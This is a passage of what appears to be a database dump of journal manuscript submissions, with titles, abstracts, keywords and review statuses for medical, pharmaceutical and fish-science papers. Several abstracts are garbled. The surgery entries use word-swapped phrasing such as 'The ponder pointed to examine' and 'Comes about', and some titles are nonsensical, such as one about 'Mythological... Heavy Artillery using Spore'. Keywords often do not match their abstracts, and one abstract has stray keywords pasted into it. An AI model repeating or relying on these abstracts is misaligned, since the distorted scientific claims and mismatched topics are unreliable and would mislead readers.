manifestations of specific candidiasis and the virulence characteristics of Candida albicans are discussed in this paper.',' ',5414,NULL,'2023-01-07',NULL,'Submitted',2,NULL,'2023-01-11',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13374,13573,45,0,'iphsj-23-13374','An Assessment of Public Health in India: An Overview',NULL,16,1,'The issue is based on India\'s public health scenario','Health care and demographic variables, which also assess the effectiveness and performance of the government in the health sector, serve to illustrate the state of health in any given nation. Additionally, it is important for national growth. Governments have a duty to protect the public\'s health, which they can only do by implementing sufficient social and health policies. The government plays a multifaceted and multidimensional role in public health concerns, serving as an insurer, a supplier of service, and a supervisor of the industry. Great advancements made possible by the National Rural Health Mission (NRHM), which was established in 2005, include the development of a core group of Accredited Social Health Activists (ASHAs), managed to improve hospital care, decentralisation at the district level to enhance intra- and multi-sectoral integration, and efficient resource utilisation. Population expansion, poverty, unanticipated natural and man-made catastrophes, the worldwide AIDS or influenza (H1N1) pandemic, inadequate coverage in rural and isolated regions, and the ongoing threat of biological warfare are just a few of the issues that the government is now dealing with. In large part, lifestyle illnesses are on the rise. There are several solutions that may be pursued, including quick and efficient delivery of health services, finance for health care, and health legislation measures that are crucial to safeguarding and protecting the public\'s health. These must be stringent and explicitly state the role and responsibilities of public health. Government should prioritise the establishment of varied job possibilities at specific local locations wherever feasible in order to increase the buying power of the community. Securing a safe workplace environment is necessary for the industries. The highest degree of physical, social, and psychological wellness for all employees in all communities should be the goal of the government. In order to maintain the idea of fairness, it is still the responsibility of the government to guarantee the availability, accessibility, quality, and accountability of medical care to the population. The need of the hour is therefore for a well-organized, decentralised public health service system that will prioritise its use of resources while ensuring strong political support, community involvement, health legislation, health investment, and, most importantly, making health care a top priority.','Health Care, Enterotoxin, Public Health Issues, NRHM.',685,NULL,'2023-01-07',NULL,'Submitted',15,NULL,'2023-12-13',NULL,1,1,'1',NULL,0,'','',NULL,0,0,1,NULL,0),(13375,13574,73,0,'ipjnn-23-13375','Changes in behavior in abused and neglected children',NULL,2,0,'','','',5398,NULL,'2023-01-09',NULL,'Submitted',2,NULL,'2023-01-23',NULL,1,1,'1','    ',0,NULL,NULL,NULL,0,0,0,NULL,0),(13376,13575,73,0,'ipjnn-23-13376','Clinical assessment and management of pediatric neurology',NULL,12,0,'','','',326,NULL,'2023-01-09',NULL,'Submitted',2,NULL,'2023-01-23',NULL,1,1,'1','   ',0,NULL,NULL,NULL,0,0,0,NULL,0),(13377,13576,73,0,'ipjnn-23-13377','Cognitive neuroscience research in development',NULL,17,0,'','','',327,NULL,'2023-01-09',NULL,'Submitted',2,NULL,'2023-01-23',NULL,1,1,'1','    ',0,NULL,NULL,NULL,0,0,0,NULL,0),(13378,13577,73,0,'ipjnn-23-13378','Compound library design using data-driven approaches for parkinson\'s disease treatment',NULL,19,0,'','','',339,NULL,'2023-01-09',NULL,'Submitted',2,NULL,'2023-01-23',NULL,1,1,'1','   ',0,NULL,NULL,NULL,0,0,0,NULL,0),(13379,13578,73,0,'ipjnn-23-13379','MicroRNA overexpression in men with lafora disease is age-related',NULL,25,0,'','','',5354,NULL,'2023-01-09',NULL,'Submitted',2,NULL,'2023-01-23',NULL,1,1,'0','   ',0,NULL,NULL,NULL,0,0,0,NULL,0),(13380,13579,73,0,'ipjnn-23-13380','Psychological science in the treatment of mental disorders',NULL,17,0,'','','',4658,NULL,'2023-01-09',NULL,'Submitted',2,NULL,'2023-01-23',NULL,1,1,'1','   ',0,NULL,NULL,NULL,0,0,0,NULL,0),(13382,13581,959,0,'ipacr-23-13382','Breast cancer',NULL,25,0,'','Breast cancer is the most common nonskin cancer diagnosed in women. Guidelines recommend that interventions be reserved for women who are most at risk for breast cancer in order to reduce the disease\'s burden, conserve resources, and reduce unnecessary treatments. Risk assessment, which includes breast cancer risk factors and risk assessment models, is critical in identifying women who will benefit the most from risk reduction strategies. Shared decision-making principles should guide practitioners in incorporating patients\' values, goals, and objectives in decisions regarding genetic testing, pharmacologic intervention, enhanced surveillance, and other risk-reduction strategies.','',5428,NULL,'2023-01-10',NULL,'Submitted',2,NULL,'2023-01-18',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(13384,13583,959,0,'ipacr-23-13384','Cutaneous Sarcoma Epigenetics',NULL,19,0,'','Epigenetic changes have an impact on a variety of physiological and pathological conditions in the human body. Recent advances in epigenetic studies of the skin have highlighted the significance of epigenetic modifications in skin diseases. Cutaneous sarcomas are incurable skin cancers with no curative treatment options for advanced forms. The detailed molecular effects of epigenetic modifications on skin sarcomas such as dermatofibrosarcoma protuberans, angiosarcoma, Kaposi\'s sarcoma, leiomyosarcoma, and liposarcoma are discussed in this review. We also go over the use of epigenetic-targeted therapy for skin sarcomas.','',5428,NULL,'2023-01-10',NULL,'Submitted',2,NULL,'2023-01-18',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(13386,13585,85,0,'iphspr-23-13386','Health Care Utilization and Mortality of Variation',NULL,5,0,'','As disparities are frequently not reflected in health outcomes, geographic diversity in health care usage has generated concerns about potential inefficiencies in the health care system. We study regional variance in health care usage using extensive Norwegian microdata and cross-region migration. According to our findings, patient demand makes up the remaining 50% of the utilisation differential between high and low usage locations. The other 50% is accounted for by geographical characteristics. We also provide diverse effects of geography across socioeconomic classes. For high school dropouts and high school graduates, location variables account for 75% and 40%, respectively, of the regional utilisation differences; for patients with a college degree, the influence of place is minimal. ','Health care supply; Health care demand; Health care spending; Regional variation; Health outcomes.',3282,NULL,'2023-01-10',NULL,'Submitted',2,NULL,'2023-01-12',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13387,13586,85,0,'iphspr-23-13387','Health Economics and Disease Burden of Inpatients with Multiple Sclerosis of a Multicenter Study',NULL,5,0,'','By examining the direct, indirect, and intangible expenses, the goal is to gauge the illness burden and health economics of inpatients with multiple sclerosis in China. In 50 centres, a cross-sectional retrospective analysis covered a total of 863 patients. The cost of hospitalisation and medications used outside of hospitals were used to calculate the direct economic burden, and the human capital technique was used to calculate the indirect economic burden. The intangible economic cost was expressed in terms of the disability-adjusted life year. Calculating the incremental cost-utility ratio allowed for cost-utility analysis using DALYs as measures of health benefits. ','Multiple sclerosis; Disease burden; Health economics; Disability-adjusted life years',3282,NULL,'2023-01-10',NULL,'Submitted',2,NULL,'2023-01-12',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13388,13587,85,0,'iphspr-23-13388','Value Judgments of Social, Ethical and Others in Health Economics Modelling',NULL,5,0,'','In health economics, modelling is a key approach of investigation. Recent literature has highlighted how social and ethical norms impact model building in other modeling-intensive domains, such as climate science. However, no comparable research in health economics has been conducted. Using philosophical theory and qualitative interviews, this study investigated the role of social, ethical, and other values in health economics modelling in British Columbia, Canada. We spoke with 22 experts in the field of health economics modelling. The study\'s findings support four philosophical reasons that social and ethical values play a crucial part in scientific investigation and show how these arguments might be applied to health economics modelling. This article emphasises how social values influence early modelling decisions, model assumptions, and trade-offs between acceptable model options. Characteristics and establishing evidence criteria these findings highlight a number of modelling choices that should be the subject of future health economics research, especially that which seeks to take patient and societal values into account.','Health economics; Modelling Patient-oriented research; PPI; Patient and public involvement; Values; Qualitative',3282,NULL,'2023-01-10',NULL,'Submitted',2,NULL,'2023-01-12',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13389,13588,85,0,'iphspr-23-13389','Challenges in Implementing a Stroke Care Reform Acute Stroke Care and Moving Care to the Community',NULL,5,0,'','A mandatory overhaul of stroke care was implemented in one of Denmark\'s five health care districts. The reform\'s dual goals were to reduce expenses and raise the standard of treatment. It involved moving from inpatient rehabilitation programmes to community-based rehabilitation programmes as well as centralising acute stroke care at specialised hospitals and shortening hospital stays. Patients would benefit from a more seamless care pathway between the hospital and the municipality, supported by hospital early discharge teams. The adjustments were made using a formal policy instrument, a health care agreement between the region and municipalities. Using a top-down approach, a committee carried out the implementation, with the hospital sector – organised by regions – being better represented than the primary sector. municipalities organise the health care industry. All parties were in favour of centralising acute care, but municipalities opposed hospital-based early release teams because they believed it would interfere with their primary duties. Municipalities would have preferred to have had greater say in how the reform was created. Initial findings point to high acute care quality. ','Health care reform; Stroke care; Implementation Centralisation; Moving care to the community',3282,NULL,'2023-01-10',NULL,'Submitted',2,NULL,'2023-01-12',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13390,13589,85,0,'iphspr-23-13390','Health Care Reform Fixes Instead Of a Long-Term Strategy In 2014',NULL,5,0,'','The Health Minister began implementing legislative amendments that both directly and indirectly influence primary healthcare towards the end of 2013. Many organisations of medical professionals, notably family medicine doctors, strongly opposed the revisions. The latter mainly criticised the formal inclusion of specialists in paediatrics and internal diseases into PHC within the statutory health care system, which in practise meant that these two groups of specialists were no longer required to specialise in family medicine from to enter into contracts with the public payer and would be able to set up solo PHC practices—something over which family medicine physicians used to have a monopoly. They contended that internists and paediatricians lacked the qualifications to serve as PHC doctors. and so guarantee the delivery of an extensive and well-coordinated PHC. Given the lack of family medicine professionals, the administration said that the proposed step was required to ensure the supply of PHC in the future. The proposed modification was also backed by a few organisations of medical experts. The primary argument in favour was that it may increase access to PHC, particularly for young people. Although this was not the focus of the criticism or even a discussion of policy, the plan neglected the growing healthcare requirements of elderly people, who were the main beneficiaries of PHC services. As is customary for modifications in the Polish healthcare system (among other things), the policy was enacted by the Parliament in March–April 2014 without consultation with the important stakeholders. ','Primary health care, Health care legislation, Health care reform, Family medicine.',3282,NULL,'2023-01-10',NULL,'Submitted',2,NULL,'2023-01-12',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13391,5507,639,0,'ipfs-23-13391','Antioxidative Compounds from Fermented Olive Mixed in Fish Feedstuffs',NULL,25,0,'','Bioactive compounds like enzymes and antioxidants have been added to the feed to ensure its long-term viability and increase its nutritional value. However, feed additives may lose their efficacy and activity during the pelleting and storage processes. The stability of functional activity in feeds enriched with antioxidants, cellulases, and other bioactive extracts was the primary focus of this study. This bioactive extract (FBE) was produced by Aspergillus ibericus through solid-state fermentation of byproducts from olive mills and wineries. With or without lyophilized FBE (0.26 percent w/w) as a supplement, two isolipidic and isoproteic diets were developed. Both diets were kept at room temperature (RT), or 4 °C, for four months. The results indicated that feed stored at 4 °C was more stable for cellulase than for xylanase. The half-lives of cellulase and xylanase were approximately 60 and 14% longer when stored at 4 °C compared to RT, respectively. Antioxidant activity lost in the diet without supplements was the same at both storage temperatures, but antioxidant activity lost less with dietary FBE supplementation when stored at 4 °C. The addition of FBE reduced lipid peroxidation by 17.5% and 19.5%, respectively, when stored at 4 °C or RT. The current study is a first step toward enhancing bioactive compound-based diet storage conditions.','functional aquafeeds; solid-state fermentation; antioxidants',1772,NULL,'2023-01-10',NULL,'Submitted',2,NULL,'2023-01-17',NULL,1,1,'0','Accept ',0,NULL,NULL,NULL,0,0,0,NULL,0),(13392,2076,639,0,'ipfs-23-13392','Saltwater Barrel Physiological Compensatory Mechanisms in Hypothermia',NULL,2,0,'','The freshwater drum, or Aplodinotus grunniens, is a common type of eurythermal freshwater fish in North America. New aquaculture opportunities emerged as a result of our team\'s significant advancements in artificial breeding and cultivation in 2019 and research into the physiological responses of the organisms to their surroundings. Its capacity to adapt to hypothermia and maintain metabolic homeostasis, on the other hand, is poorly understood. This experiment used cold stress for eight days at temperatures of 18 °C (LT18) and 10 °C (LT10), with a control temperature of 25 °C (Con), in order to investigate the effects of short-term hypothermia on the physiology and metabolism of freshwater drum. LT18 and LT10 had significantly lower levels of free essential amino acids than Con after two days of cold stress. At LT10, both the activity of lipase (LPS) and the amount of total triglyceride (TG) in the plasma decreased over the course of two days. According to RNA-seq in the liver, metabolic-related signaling, particularly amino acid synthesis and lipid metabolism, was prevented by hypothermia. The PPAR signaling pathway is specifically connected to hypothermia-induced inhibition of lipid and amino acid metabolism. These findings confirmed that PPAR signaling maintains lipid and amino acid metabolic homeostasis under cold stress. These results theoretically support hypothermia resistance in the metabolic homeostasis of freshwater drums.','hypothermia; lipid metabolism; amino acid metabolism; PPAR signaling',1776,NULL,'2023-01-10',NULL,'Submitted',2,NULL,'2023-01-17',NULL,1,1,'0','Accept ',0,NULL,NULL,NULL,0,0,0,NULL,0),(13395,13573,45,0,'iphsj-23-13395','An Assessment of Public Health in India: An Overview.',NULL,14,0,'','Health care and demographic variables, which also assess the effectiveness and performance of the government in the health sector, serve to illustrate the state of health in any given nation. Additionally, it is important for national growth. Governments have a duty to protect the public\'s health, which they can only do by implementing sufficient social and health policies. The government plays a multifaceted and multidimensional role in public health concerns, serving as an insurer, a supplier of service, and a supervisor of the industry. Great advancements made possible by the National Rural Health Mission (NRHM), which was established in 2005, include the development of a core group of Accredited Social Health Activists (ASHAs), managed to improve hospital care, decentralisation at the district level to enhance intra- and multi-sectoral integration, and efficient resource utilisation. Population expansion, poverty, unanticipated natural and man-made catastrophes, the worldwide AIDS or influenza (H1N1) pandemic, inadequate coverage in rural and isolated regions, and the ongoing threat of biological warfare are just a few of the issues that the government is now dealing with. In large part, lifestyle illnesses are on the rise. There are several solutions that may be pursued, including quick and efficient delivery of health services, finance for health care, and health legislation measures that are crucial to safeguarding and protecting the public\'s health. These must be stringent and explicitly state the role and responsibilities of public health. Government should prioritise the establishment of varied job possibilities at specific local locations wherever feasible in order to increase the buying power of the community. Securing a safe workplace environment is necessary for the industries. The highest degree of physical, social, and psychological wellness for all employees in all communities should be the goal of the government. In order to maintain the idea of fairness, it is still the responsibility of the government to guarantee the availability, accessibility, quality, and accountability of medical care to the population. The need of the hour is therefore for a well-organized, decentralised public health service system that will prioritise its use of resources while ensuring strong political support, community involvement, health legislation, health investment, and, most importantly, making health care a top priority.','Health Care, Enterotoxin, Public Health Issues, NRHM.',686,NULL,'2023-01-10',NULL,'Submitted',2,NULL,'2023-02-10',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13397,13591,91,0,'ijddr-23-13397','Drug Development for Cancer Treatment',NULL,5,0,'','To provide the RNA and protein complexity needed to control gene expression, RNA editing is essential. Correct RNA editing preserves organism development and cell function. Diseases and cancer may result from an imbalance in the RNA editing machinery. Though few studies have been reported in the realm of natural products that target RNA editing for disease and cancer therapy, it has recently been acknowledged as a target for drug discovery. Therefore, medicinal natural compounds may be able to target RNA editing. We present a literature summary of the biological effects of RNA editing on gene expression, illnesses, malignancies, and medications in this study. Additionally, a summary of the RNA editing bioinformatics resources was provided.','Drug discovery; Drug Development; Cancer therapy; RNA editing; Bioinformatics.',5033,NULL,'2023-01-10',NULL,'Submitted',2,NULL,'2023-01-18',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(13398,13592,975,0,'ipjbs-23-13398','A Note on the Diagnosis of Tumor Metastatic Disease',NULL,6,0,'','Not only are brain metastases the most common intracranial neoplasm in adults, but they are also very common in lung cancer patients. The presence of prognostic factors like control of the primary tumor, functional performance status, age, and the number of brain metastases have been used to classify patients. Because some of these patients have a good prognosis, they may benefit from receiving more aggressive treatment. We will go over all of the treatment options for treating brain metastases, which are mostly caused by a lung cancer primary, in this review. We will specifically concentrate on the selection of patients for combined modality treatment of brain metastases, such as stereotactic radiosurgery (SRS) and whole brain irradiation; utilizing radiosensitizers; and the neurocognitive impairments that resulted from either SRS or whole brain irradiation. Both small cell lung cancer (SCLC) and non-small cell lung cancer (NSCLC) benefit from prophylactic cranial irradiation (PCI) and its potential neurotoxicity are discussed, as is the combination treatment of intrathoracic primary disease and solitary brain metastasis. WBRT with an integrated boost to the gross brain metastases, SRS to the surgical bed, fractionated stereotactic radiotherapy, and WBRT with epidermal growth factor receptor (EGFR) inhibitors are also investigated.','lung cancer; PCI; neurotoxicity',4089,NULL,'2023-01-10',NULL,'Submitted',2,NULL,'2023-01-24',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(13399,13593,91,0,'ijddr-23-13399','Novel Nano-Based Drug Delivery Systems for Fibrotic Liver\'s Hepatic Stellate Cells',NULL,5,0,'','Hepatic stellate cells (HSCs) are phenotypically active and develop a phenotype resembling myofibroblasts in the perisinusoidal region of the liver. Affected hepatic function, portal hypertension, increased vascular resistance; fibrosis, cirrhosis, and hepatocellular carcinoma are all results of this phenotypic transformation, which is also responsible for the accumulation and production of various extracellular matrix (ECM) proteins in the perisinusoidal space. In the injured liver, the main collagen-producing cells are activated HSCs/myofibroblasts. As a result, HSCs are frequently the focus of fibrosis treatments. Since HSCs contain the majority of the body\'s retinol, antifibrotic nanomedicine frequently target them with vitamin A decorating. Transforming growth factor-beta, collagen, and connective tissue growth factors are targeted by vitamin A-decorated nanomedicine with siRNAs to reduce fibrosis by inhibiting fibrogenesis and the expression of genes linked with the extracellular matrix (ECM).\r\nNumerous miRNAs also have pro- and antifibrotic properties. Profibrotic and antifibrotic miRNAs are targeted in the fibrotic liver using their corresponding antagomirs and agomirs, respectively, together with HSC-specific Nano decoration. By inhibiting the expression of genes linked to the ECM, these miRNA therapies lower fibrogenesis. However, the activation of a distinct class of profibrotic signalling pathways linked to ECM build-up in the fibrotic liver is what causes liver fibrosis. Therefore, suppressing individual genes with siRNAs or specifically targeting miRNA may not be able to alleviate fibrosis to a higher level. To transport medications to activated HSCs in the wounded liver, however, nanodecorating of a drug is helpful. The focus of this review will be on targeted drug delivery to activated HSCs in the liver that has sustained long-term damage.\r\n','Drug Delivery; Fibrotic Liver; Nanomedicine; Hepatic stellate cells; Nano-Based; Nanotechnology',2474,NULL,'2023-01-10',NULL,'Submitted',2,NULL,'2023-01-18',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(13400,13594,975,0,'ipjbs-23-13400','Ground Healing of Mythological and Similar Preservation Heavy Artillery using Spore',NULL,19,0,'','The bio-stimulated healing of cracks in historical and newly designed lime mortar samples was the primary focus of this study. The investigation began with the thorough characterization of historical mortars. Next, a compatible conservation mortar was designed and characterized, with the formation of contact zones between the original and conservation mortars being the primary focus. The design of a two-component liquid bio-stimulating crack-sealing agent was the next step: nutrients and bacteria culture of Sporosarcina pasteurii DSM 33 The potential for bio-stimulated surface-crack repair was investigated using historical and conservation mortar samples. The 150-day experiment enabled the ureolytic bacteria Sporosarcina pasteurii DSM 33 to precipitate calcium carbonate into cracks and repair the tested materials\' damaged surfaces. Over the course of 150 days, the healing phenomenon was continuously monitored. Using optical microscopy, scanning electron microscopy (SEM), XRF, and XRD analyses, the morphology, chemical, and structural characteristics of the deposits created in or on the surface cracks were examined in particular. The obtained results provide useful information for putting the developed system to use in real-world environmental conditions as a solution for the long-term, sustainable preservation of traditionally prepared mortars in architecture.','WBRT, SRS, lung cancer, PCI, and neurotoxicity ',4089,NULL,'2023-01-10',NULL,'Submitted',2,NULL,'2023-01-24',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13401,13595,975,0,'ipjbs-23-13401','Malignancy Oxidative Shift Stimulated by Lack of Oxygen relates to Tumor Aggressive behaviors',NULL,25,0,'','With a 5-year survival rate of only 3–5%, pancreatic ductal adenocarcinoma remains one of the most lethal solid tumors. A typical clinical presentation of an incurable disease is the result of its aggressive biology and resistance to conventional and targeted therapeutic agents once it is diagnosed. Desmoplasia, a dense stroma of fibroblasts and inflammatory cells, is the hallmark of the disease. It prevents oxygen from reaching the organ and creates a strong hypoxic environment within the tumor. We argue in this review that pancreatic cancer cells undergo oncogenic and metabolic changes, facilitating their proliferation, and that hypoxia is to blame for the tumor\'s highly aggressive and metastatic characteristics. However, the molecular changes that cause pancreatic cancer cells to adapt their metabolism remain a mystery. Cachexia is a symptom of this illness that shows that it is a real metabolic disease. As a result, the development of this cancer must have involved metabolic pathways in this tumor that are probably intertwined in a complex inter-organ dialogue. Pancreatic cancer cells would better be able to maintain their growth advantage and develop metastasis if fuel sources were restricted.','cachexia; pancreatic cancer; hypoxia; metabolism',4089,NULL,'2023-01-10',NULL,'Submitted',2,NULL,'2023-01-24',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13402,12803,639,0,'ipfs-23-13402','Complexity and Microorganism Affection of Sedate Freshwater Fish Pathogens',NULL,25,0,'','Toxin-producing microalgae are responsible for numerous harmful algal blooms. Outbreaks of paralytic shellfish poisoning (PSP) pose the greatest threat to the fisheries and public health of Patagonian fjords. toxicity results of this study. Concholepas concholepas are harvested from his Guaitecas Islands in Patagonia, Chile. The aim is to investigate how freezing and removal of the dye affects the detoxification process. 150 samples less than 90 mm in length were collected from this area. Live specimens were transported to a processing facility where they were measured, eviscerated, and halved. One of the parts was hand depigmented and the legs were cut in half. Mouse bioassay (MBA) and high-performance liquid chromatography with fluorescence detection and post-column oxidation (HPLC-FLD PCOX) were used to assess PSP toxicity in edible tissue from each paw. Local species toxicity ranged from 30 to 146 g STX-diHCL equivalents per site (CV = 43.83%) and 5.96 to 216.3 g STX-diHCL equivalents per site (CV = 34.63%) using MBA and HPLC. was. A generalized linear model found a negative correlation between individual body weight and toxicity. GTX2, STX, and neoSTX2 were most prevalent (>95%), as indicated by the toxicological profile. Once the pigment is removed, PSP\'s toxicity can be reduced by up to 90% and it remains an effective detox method. There was no discernible pattern produced by the freezing process in pigmented muscle. MBA does not attenuate the toxicity of PSP, but PCOX does (p<0.05). The study also describes the implications for management and commercialization of small-scale fisheries.','pigment; Chilean Patagonia;  HPLC-FLD PCOX',1776,NULL,'2023-01-12',NULL,'Submitted',2,NULL,'2023-01-17',NULL,1,1,'1','Accept ',0,NULL,NULL,NULL,0,0,0,NULL,0),(13403,13170,639,0,'ipfs-23-13403','Conveying the Accuracy and Reliability of Synthetases in Catfish Freshness Assessment',NULL,25,0,'','Seabed products, especially fish, like other muscle products, are highly perishable due to their remarkable natural composition. It can be detected colorimetrically by engineered nanozymes without the aid of xanthine oxidase). His trading of Hx in polyvinylpyrrolidone-modified platinum box nanomaterials (PVP-PtNC), where Hx blocks catalytically active sites on the surface, serves as the basis for the principle. The ability of PVP-PtNC to induce the oxidation of 3\',5\'-tetramethylbenzidine (TMB) by H2O2 is hampered by this downregulation of its catalytic ability. This results in a 1:1 ratio between Hx attention and UV-Vis immersion drop-off versus colorimetric responsive color drop-off. Rapidly detectable, affordable, accurate and easy-to-use targeted colorimetric systems have been developed to monitor novelty in fish. In particular, the fact that Hx has been established in real fish suggests that the system has a bright future in the real world. Hx correlation response is set to the range of 0.5M.','fish freshness; platinum nanocube; hypoxanthine',1777,NULL,'2023-01-12',NULL,'Submitted',2,NULL,'2023-01-17',NULL,1,1,'1','Accept ',0,NULL,NULL,NULL,0,0,0,NULL,0),(13406,13597,91,0,'ijddr-23-13406','Extraction of Drug-Drug Interactions Using Convolutional Neural Networks',NULL,5,0,'','Drug-drug interaction (DDI) extraction has long been a popular relation extraction task in natural language processing (NLP). Modern support vector machines (SVM) with a high number of manually set features are the foundation of most DDI extraction methods. Convolutional neural networks (CNN), a reliable machine learning technique that nearly never requires manually generated features, have recently shown significant promise for a variety of NLP tasks. CNN should be used for DDI extraction, which has never been looked at. A CNN-based technique for DDI extraction was put forth. CNN is a good option for DDI extraction, as shown by experiments done on the 2013 DDI Extraction challenge corpus. The CNN-based DDI extraction approach outperforms the currently highest performing method by 69.75%, achieving a score of 69.75%.','Drug-drug interaction (DDI); Convolutional neural networks (CNN); Support vector machines (SVM); Extraction.',2231,NULL,'2023-01-12',NULL,'Submitted',2,NULL,'2023-02-06',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13407,13598,91,0,'ijddr-23-13407','Delivering a Brand-new Triple Drug Combination over and over again for Improved Breast Cancer Treatment.	',NULL,5,0,'','Although breast cancer is still a major worldwide health concern, new, promising therapeutic options are now available because to the development of carefully considered medication combinations and sophisticated biocompatible delivery methods. Based on the selective tumour apoptotic impact of Rosuvastatin (RST), we repurposed it here and coupled it with the antimetabolite pemetrexed (PMT) and the tumor-sensitizing polyphenol honokiol (HK). Inspired by the stealth feature of sodium alginate (ALG) and the cancer cell targeting ability of Lactoferrin (LF), this synergistic three-drug combination was combined into protein polysaccharide Nano hybrids. ALG was conjugated to PMT, combined with LF, which was conjugated to RST, and then inserted physically into core shell Nano hybrids made of genipin and LF.\r\nThe PMT-ALG/LF-RST Nano hybrids with cross-linked HK loading showed a reasonable drug loading of 7.86, 5.24, and 6.11% for RST, PMT, and HK, respectively. It showed improved cellular absorption by MCF-7 cells and an eight-fold reduction in IC50 when compared to the free drug combination. The advantage of the triple cocktail-loaded Nano hybrids was proven by their in vivo anticancer effectiveness in a breast cancer-bearing mice model. A potential, biocompatible method for efficient breast tumour suppression is provided by our rationally engineered triple drug-loaded protein/polysaccharide nano hybrids.\r\n','Breast cancer treatment; Polysaccharide; Protein Nano hybrids; Sodium alginate; Lactoferrin (LF); Rosuvastatin (RST).',2474,NULL,'2023-01-12',NULL,'Submitted',2,NULL,'2023-01-18',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(13408,13599,959,0,'ipacr-23-13408','Nerve Tumours',NULL,25,0,'','Peripheral nerves, the nerves that branch out from the brain and spinal cord and go through the rest of the body, are home to abnormal lumps known as nerve tumours. The nerve sheath, or protective coating, and supporting tissue are where nerve tumours grow. Most are good. However, because they can push on nerves and result in discomfort, nerve damage, and/or loss of function, even some non-cancerous tumours need to be treated. Depending on the nature, nerve tumours can develop slowly or swiftly. Some people merely require monitoring and don\'t require any therapy. Rarely, malignant nerve tumours require aggressive therapy.','',5428,NULL,'2023-01-12',NULL,'Submitted',2,NULL,'2023-01-18',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(13409,13600,959,0,'ipacr-23-13409','Cancer therapeutics',NULL,15,0,'','There are several methods and medications for treating cancer, and many more are being researched. Some therapies are performed \"locally,\" like as surgery and radiation therapy, to treat a particular tumour or region of the body. Because they can have an impact on the entire body, drug therapies (such as chemotherapy, immunotherapy, or targeted therapy) are sometimes referred to as \"systemic\" treatments.','',5428,NULL,'2023-01-12',NULL,'Submitted',2,NULL,'2023-01-18',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(13411,13601,326,0,'IPJUS-23-13411','Application of Quickened Restoration Surgery in Gastrointestinal Surgery',NULL,5,0,'','Including opportune recovery surgery is an optimized perioperative degree that can decrease physical stretch, decrease surgical dangers, and postoperative complications and advance the recuperation of organ work. Hence, it is of extraordinary esteem to ponder its application in gastrointestinal surgery (GS). To this conclusion, this article applies review examination and measurable strategies to conduct focused on examinations and ponders  on GS patients. The comes about of the overview appeared that 26.7% of patients were compelling in ARS and 40% were compelling in treatment. Compared with conventional treatment strategies, its compelling treatment rate is 13.4% higher.','surgery, conventional, pharmaceutical, human body',5413,NULL,'2023-01-13',NULL,'Submitted',2,NULL,'2023-01-25',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13412,13602,326,0,'IPJUS-23-13412','Laparoscopic Surgery can Diminish Postoperative Edema Compared with Open Surgery',NULL,5,0,'','The ponder pointed to examine the affect of laparoscopic surgery and open surgery on postoperative edema in Crohn’s malady. Strategies. Patients who required enterectomy were separated into open gather (Gather O) and laparoscopic bunch (Gather L). Edema was measured utilizing bioelectrical impedance investigation preoperatively (PRE) and on postoperative day 3 (POD3) and postoperative day 5 (POD5). The postoperative edema was separated into slight edema and edema by an edema record, characterized as the proportion of add up to extracellular water to add up to body water. Comes about. Patients who experienced laparoscopic surgery had way better clinical results and lower levels of incendiary and push markers. A add up to of 31 patients (26.05%) created slight edema and 53 patients (44.54%) created edema on POD3. More patients created postoperative edema in Gather O than in Bunch L on POD3 (). The esteem of the edema record of Bunch O was higher than that of Bunch L on POD3 and POD5.','Laparoscopic, Surgery, enterectomy, extracellular',5413,NULL,'2023-01-13',NULL,'Submitted',2,NULL,'2023-01-25',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13413,13603,326,0,'IPJUS-23-13413','OSAS Surgery and Postoperative Inconvenience: Stage I Surgery versus Stage II Surgery',NULL,5,0,'','This think about points to examine the reasons that debilitate the patients influenced by OSAS to experience orthognathic surgery and compares the postoperative distress of stage I (delicate tissue surgery) and stage II (orthognathic surgery) methods for treatment of OSAS. Fabric and Strategies . A pool of 46 patients influenced by OSAS was partitioned into two bunches: “surgery patients” who acknowledged surgical medications of their condition and “no surgery patients” who denied surgical methods. The “surgery patients” bunch was assist subdivided into two arms: patients who acknowledged stage I methods (IP) and those who acknowledged stage II (IIP). To way better get it the inspirations behind the refusal of Laparoscopic, Surgery, enterectomy, extracellularII stage strategies, we inquired the patients having a place to both the IP gather and “no surgery” gather to show the most reason that impacted their choice to maintain a strategic distance from II stage methods. We moreover checked and compared five parameters of postoperative distress: torment, painkiller presumption','patients, surgery, parameters, Surgical',5413,NULL,'2023-01-13',NULL,'Submitted',2,NULL,'2023-01-25',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13414,13604,326,0,'IPJUS-23-13414','Automated Surgery in Otolaryngology and Head and Neck Surgery: A Review',NULL,5,0,'','Later headways in mechanical technology innovation have permitted more complex surgical strategies to be performed utilizing negligibly intrusive approaches. In this article, we surveyed the part of mechanical help  in Otolaryngology and Head and Neck Surgery. We highlight the points of interest of robot-assisted surgery and its clinical application in this field.\r\nLater progresses in gear and surgical procedures have made negligibly obtrusive surgery (MIS) a well-tolerated and effective strategy in a few areas of surgery. It has a few points of interest over standard surgical approaches, counting more quick recuperation, lower rate of postoperative contamination, diminished torment, way better postoperative resistant work, and corrective comes about [1–3]. In this way, robotic-assisted surgery (RAS) has picked up ubiquity in a few surgical specialties and numerous teach are presently contributing in therapeutic mechanical innovation for applications in common, urological, cardiac, gynecological, and neurological surgery. This unused and energizing innovation has been appeared to be secure, have superior or comparable results, and can be taken a toll viable when compared with routine 